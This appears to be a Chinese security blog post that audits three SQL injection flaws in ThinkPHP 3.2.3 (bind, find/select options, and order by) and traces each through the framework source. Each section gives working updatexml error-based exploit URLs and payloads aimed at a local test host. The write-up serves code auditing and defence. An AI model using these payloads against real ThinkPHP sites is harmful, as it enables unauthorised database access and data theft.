Code Security Guide-Thinkphp3.2.3数据库内核漏洞(二)

  • Comments Off on Code Security Guide-Thinkphp3.2.3数据库内核漏洞(二)
  • 20 views
  • A+

0x01、ThinkPHP环境

ThinkPHP版本:Thinkphp3.2.3 full.zip

phpstudy

PHP 5.6

xdebug

phpstorme

0x0a、ThinkPHP 3.2.3 updatexml注入(bind注入)

漏洞利用:在函数think_filter() 处 存在过滤不完全的漏洞,造成注入漏洞。updataxml报错注入利用的流程是M->where() ->save()

利用的exp:

url
http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456

一、漏洞利用复现

一、环境准备

在数据库里新建了一个user表

wKg0C2EXjOAJR2eAABkiEq45uI955.png

修改控制器代码

wKg0C2EXnuAPpJYAAA1v0GZ9yI148.png

测试 输入username=aaaaa&password=1111,修改一下密码验证一下代码运行

wKg0C2EXqiABq0vAADRrUjkkwI542.png

二、exp测试

利用的exp

//index.php/home/index/index?username[0]=bind&username[1]=0&password=123456
//测试一个%27
index.php/home/index/index?username[0]=bind&username[1]=0%27&password=123456
//回显:
UPDATE `user` SET `password`='123456' WHERE `username` = '123456''
//明显发现存在sql注入漏洞

wKg0C2EXvaAPJhCAAB2hwMU11A414.png

php
//updatexml报错注入使用
and updatexml(1,concat(0x3a,(user()),1))%23
//exp
http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456

回显的页面为

wKg0C2EXzANOiPAAFL9HNmUOE464.png

分析一下源码

M()函数前面都分析过 ,分析烂了。直接运行到where() $where以数组的形式接受了username赋值给了options

wKg0C2EX7uAZhTuAABz4Nbtyj4045.png

wKg0C2EX8eAbUapAAB85X5HK8984.png

update()->parseSet()、parseSet()函数在对$data传值之后$key=password 、$val="123456" is_scalar函数判断val是否为标量。标量是指int、float、string、Boolean 类型的变量。(仅仅做了一个标量检测)

php
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤非标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}

val满足条件后执行 this->parseKey 将$set 、$name 做一个更新

val执行结束之后 $set = "password=:0" bind:[1]->:0="123456" 记住这两个变量

wKg0C2EYDSAUR1kAABcyX2ng586.png

接下来运行到praseWhereItem()函数 传进参数$key:"username" 、$val:数组 。取出$val数组中的第一个元素 给exp="bind"

wKg0C2EYEiALRCrAABPWXAbFbM446.png

wKg0C2EYFKAFTgGAABLiJMjW4691.png

将bind赋值给exp 判断exp是否为bind表达式-> whereStr最终的内容为:

wKg0C2EYGKAUaQGAABPZkL7fA121.png

返回到update()中 sql语句为:UPDATE user SET password=:0 WHERE username = :0 and 1=(updatexml(1,concat(0x3a,(user())),1))#

分析一下update函数

php
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

继续运行 execute函数strtr函数里使用了this->bind进行替换,之前poc中username[1]=:0起作用 。关键点继续运行到

php
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->executeTimes++;
N('db_write',1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement) {
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if(is_array($val)){
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
}else{
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try{
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result) {
$this->error();
return false;
} else {
$this->numRows = $this->PDOStatement->rowCount();
if(preg_match("/^s*(INSERTs+INTO|REPLACEs+INTO)s+/i", $str)) {
$this->lastInsID = $this->_linkID->lastInsertId();
}
return $this->numRows;
}
}catch (PDOException $e) {
$this->error();
return false;
}
}

queryStr的内容。这里就属于一个bind内容的替换.

wKg0C2EYOmAL9wHAACShTFE1no778.png

sql语句为:

sql
UPDATE `user` SET `password`='123456' WHERE `username` = '123456' and 1=(updatexml(1,concat(0x3a,(user())),1))#

达到报错注入的效果,但是前提是我们开启了debug调试模式,这个时候报错注入才会将错误信息回显到前台。

防止updataxml报错注入 :1、将debug调试模式关闭,这时候信息会隐藏。需要用延时注入进行测试

二、漏洞修复:

在think_fileter()进行防御,防止用户使用bind对数据进行注入

wKg0C2EYSqALrAYAAAgeklzM400.png

0x0b、ThinkPHP 3.2.3 find注入漏洞

可以使用find() ,select(),delete()注入

准备index()方法 ,这种写法会照成框架级注入漏洞,数据库沿用上一个漏洞数据库。在这里不做修改。

先修改一波利用的控制器。使用I函数接受变量。改成这样还有另外一个原因,之前把I函数与find分开数据传输不进去,所以这里直接修改了。

wKg0C2FAsWaAZQJEAABMQ0YV89o689.png

利用的exp:

php
//绕过框架限制
id[where]=1'
//注入语句
id[tables]=users where 1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
id[where]=1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
id[alias]=where 1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
http://www.tp3.com/index.php/home/index/index?id[where]=1%20and%20updatexml%20(1,concat(0x3a,user(),0x3a),1)--+

先测试一波看看回显的变量值:id[where]=1 页面直接回显第一个数据操作

wKg0C2FAsjARJXYAACpq4Gj9fI513.png

find()-->options() -->select -->buildSelectsql()

前面的M函数这些都分析烂了,就是给user一个实例化对象,也就不多bb了。直接到find(),find()做的事情也就是对$options的数组进行合并分析,自动获取 表名等等数据 并且给定总查询一条记录

```php
protected function _parseOptions($options=array()) {
if(is_array($options))
//收集$options数组 进行合并
$options = array_merge($this->options,$options);

    if(!isset($options['table'])){
        // 自动获取表名
        $options['table']   =   $this->getTableName();
        $fields             =   $this->fields;
    }else{
        // 指定数据表 则重新获取字段列表 但不支持类型检测
        $fields             =   $this->getDbFields();
    }

    // 数据表别名
    if(!empty($options['alias'])) {
        $options['table']  .=   ' '.$options['alias'];
    }
    // 记录操作的模型名称
    $options['model']       =   $this->name;

    // 字段类型验证
    if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
        // 对数组查询条件进行字段类型检查
        foreach ($options['where'] as $key=>$val){
            $key            =   trim($key);
            if(in_array($key,$fields,true)){
                if(is_scalar($val)) {
                    $this->_parseType($options['where'],$key);
                }
            }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                if(!empty($this->options['strict'])){
                    E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                } 
                unset($options['where'][$key]);
            }
        }
    }
    // 查询过后清空sql表达式组装 避免影响下次查询
    $this->options  =   array();
    // 表达式过滤
    $this->_options_filter($options);
    return $options;
}

```

做代码审计需要更全面的分析,前面说了一部分。还是慢慢的来一点点的审计代码。

php
$options = array_merge($this->options,$options);测试一波

回显看到明显的过滤不严格,

wKg0C2FAtTyAP7RnAAB3i4MF8m0668.png

接下来的函数表达式过滤也无效

wKg0C2FAtX6AZ1q1AABO1sGs8Ag624.png

回到find()函数中,在数据合并之后$options数组被整合,方便后续数据查询,在find函数里也直接能看到select(),注入点就在这里。一定要跟进去看看

wKg0C2FAteWAEJ4wAABoSlscKx8797.png

find()-->select() -->buildSelecSql() 生成了sql语句,也就是漏洞生成点,跟进去看看

wKg0C2FAtfeAJYKkAABTwgJYbs388.png

进行拼接sql语句 -->buildSelectSql()。

wKg0C2FAtgaAfCuAADYfyS0QWc419.png

在buildSelectSql()中-->parseSql()-->parseWhere()

对$where也就是我们exp语句进行接收

wKg0C2FAthuAKCwEAABD3BDYffY954.png

最终生成sql语句

wKg0C2FAtiuABNWKAAD1RnarTIA265.png

我们对数据库操作进行分析,在parseSql()函数里明显可以看到

这里存在多种注入 除了控制where之外还可以 控制field,table等等

php
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}

更改table

更改一下exp测试一下

php
id[tables]=users where 1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
http://www.tp3.com/index.php/home/index/index?id[tables]=111%20where%201%20and%20updatexml%20(1,concat(0x7e,user(),0x7e),1)--+

测试id[tables]=111 测试 看看页面回显值 明显的可以看到sql的参数被更改。这里就证明我们外部控制了tables值

wKg0C2FAuEAUg2PAACeLerxJv0129.png

拼接结束后 页面回显为SELECT * FROM '111' 页面回显table=111的数据 显然没有这个参数。

wKg0C2FAuFyAbpdPAADRrBfpCw988.png

那改为我们之前使用的comment测试一波 table=comment 直接爆出数据库id=1信息

wKg0C2FAuGmAdGgSAACGlJOBGc4767.png

再对table修改为user并拼接我们的payload进行测试

http://www.tp3.com/index.php/home/index/index?id[table]=user%20where%201%20and%20updatexml%20(1,concat(0x7e,user(),0x7e),1)--+

wKg0C2FAuIKAE4TrAACo55iLmIc541.png

漏洞成因

在buildSelectSql()中-->parseSql()-->parseWhere(),这里过滤不完全并且我们可以控制代码变量值,详细见where,table。这里都是我们外部输入进行控制的地方。也就是说table值可以控制,那么 接下来的几个也是一样的。

对于方法:

delete方法的第一个参数值可以外部注入

select方法的第一个参数值可以外部注入

find方法的第一个参数值可以外部注入

add方法的第二个参数值可以外部注入

addall方法的第二个参数值可以外部注入

save方法的第二个参数值可以外部注入

0x0c、ThinkPHP 3.2.3 order by注入漏洞

先给一波漏洞利用原因:最后拼接sql语句的时候parseOrder方法没有进行过滤造成的漏洞

修改index()控制器内容:

wKg0C2FAw2OAOBS8AAAfIg6gHp0844.png

exp;

```php
//order by 注入
order[updatexml(1,concat(0x7e.user(),0x7e),1)]

http://www.tp3.com/index.php/home/index/index?username=admin&order[updatexml(1,concat(0x7e,user(),0x7e),1)]--+
```

wKg0C2FAxGCALtd4AACsrsLW5Ag646.png

直接代码调试,前面的M()实例化user对象不看,where也不是利用点,里面也没有操作。

看到find()-->parseOptions()-->select()

wKg0C2FAxG6AaVxAABlBE93pcE075.png

跟进去看看这里仅仅对$options做了一个复制操作,接下来的bind也只是简单的过滤了一下就跳过了

就直接跟进到了buildSelectSql()函数中。在跟进看看sql

wKg0C2FAxMyAGabqAACkKmxUsU252.png

这里就可以看出来 明显没有过滤掉order by语句。

为什么exp要这样写:

buildsql->parsesql->parseorder->peaseKey

wKg0C2FAxO6ALrmIAAB3Wh8ktA710.png

在这里会直接进行凭借,所以直接造成注入。

相关推荐: linux内核入门系列-条件竞争

说明 参考 https://xz.aliyun.com/t/9808 包含一个内核模块,和用户程序。由用户程序使用对应的内核模块实现从普通用户到root用户的权限升级。 代码见 https://github.com/JordyZomer/kernel_chal…